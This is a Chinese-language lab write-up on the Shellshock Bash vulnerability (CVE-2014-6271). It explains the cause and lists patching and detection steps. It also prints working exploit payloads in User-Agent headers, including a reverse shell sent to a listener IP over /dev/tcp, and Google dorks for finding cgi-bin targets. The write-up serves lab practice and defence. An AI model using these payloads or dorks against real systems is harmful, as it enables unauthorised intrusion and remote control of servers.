CVE-2014-6271(shellshock破壳漏洞)
Shellshock- CVE-2014-6271-破壳漏洞
漏洞描述
- 漏洞编号:CVE-2014-6271
- 影响版本:GNU Bash <= 4.3
https://www.cvedetails.com/cve/CVE-2014-6271/
https://access.redhat.com/articles/1200223
3.漏洞产生原因:目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
启动环境:docker-compose up -d
vulnIP:192.168.1.232
hackIP:192.168.1.37
nc监听IP:192.168.1.218
服务启动后,有两个页面`http://your-ip:8080/victim.cgi`和`http://your-ip:8080/safe.cgi`。其中safe.cgi是最新版bash生成的页面,victim.cgi是bash4.3生成的页面。
漏洞发现
1.关注GNU Bash的版本
bash --version
rpm -qa |grep bash
2.本地验证方法
在shell中执行下面命令
env x='() { :;}; echo Vulnerable CVE-2014-6271' bash -c "echo test"
执行命令后,如果显示VulnerableCVE-2014-6271,证明系统存在漏洞,可改变echo VulnerableCVE-2014-6271为任意命令进行执行。
Linux Debian操作系统漏洞验证如下:
如果显示上述信息,则受影响。
如果显示上述信息,则不受影响。
漏洞利用
将payload附在User-Agent中访问victim.cgi:
User-Agent: () { :;};echo ; echo; echo $(/bin/ls /);
User-Agent: () { :;};echo Content-Type:text/plain; echo;/usr/bin/id;
命令成功被执行:
同样的数据包访问safe.cgi,不受影响:
反弹 Shell 到 ip 1234端口:
User-Agent: () { :;};/bin/bash -i >& /dev/tcp/192.168.18.236/1234 0>&1;
问题汇总
修复方案
1.更新Bash源码,针对ENV命令实现部分,进行边界检查与参数过滤,严格界定函数定义范围,并做合法化的参数判断。
切换到安装包所在目录,执行以下命令进行更新安装:
RedHat官方/Centos
yum -y update bash
Debian/Ubuntu 用户
Debain,https://www.debian.org/security/2014/dsa-3032
Ubuntu,http://www.ubuntu.com/usn/usn-2362-1/
apt-get update apt-get install bash
其他Linux发行版,没有在线安装功能的,请使用以下脚本编译安装bash漏洞补丁:
http://www.gnu.org/software/bash
http://ftp.gnu.org/gnu/bash/
#!/bin/bash cd /usr/local/src wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz tar zxf bash-4.3.tar.gz ; cd bash-4.3 wget -r -nd -np http://ftp.gnu.org/gnu/bash/bash-4.3-patches/ for BP in `ls bash43-*|grep -v sig`; do patch -p0 < $BP; done ./configure make && make install
升级后,再一次执行前面的命令进行检测
2.此漏洞进行的补丁更新有三处,主要进行输入的command进行过滤作用。
/builtins/common.h
#define SEVAL_FUNCDEF 0x080 /* only allow function definitions */ #define SEVAL_ONECMD 0x100 /* only allow a single command */
/builtins/evalstring.c
if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def) { internal_warning ("%s: ignoring function definition attempt", from_file); should_jump_to_top_level = 0; last_result = last_command_exit_value = EX_BADUSAGE; break; }
/builtins/evalstring.c
if (flags & SEVAL_ONECMD) break;
3.WAF上做防御
4.360网站卫士,腾讯电脑管家
参考链接
完整的环境
https://www.freebuf.com/news/48331.html
Tomcat环境
https://www.cnblogs.com/qmfsun/p/7591757.html
流量分析
您可以应用本地与远程的漏洞验证方法进行脚本、程序或snort规则等的编写与配置,进而进行批量的操作系统平台的检测。当进行HTTP检测时,可以进行Referer、host、UserAgent、header等的头信息字符串“() {”或对应十六进制“\x28\x29\x20\x7b”检测目前已经出现的部分攻击。
https://www.freebuf.com/articles/system/48406.html
信息搜集
1.Google搜索方式
filetype:sh inurl:cgi-bin
filetype:cgi inurl:cgi-bin
2. https://blog.csdn.net/qq_36869808/article/details/104005219
基础知识
https://bbs.ichunqiu.com/thread-8046-1-1.html
https://www.cnblogs.com/HYWZ36/p/10878813.html
后续漏洞
Cve-2014-7169
CVE-2014-7186
CVE-2014-7187
2021-01-06 21:20:27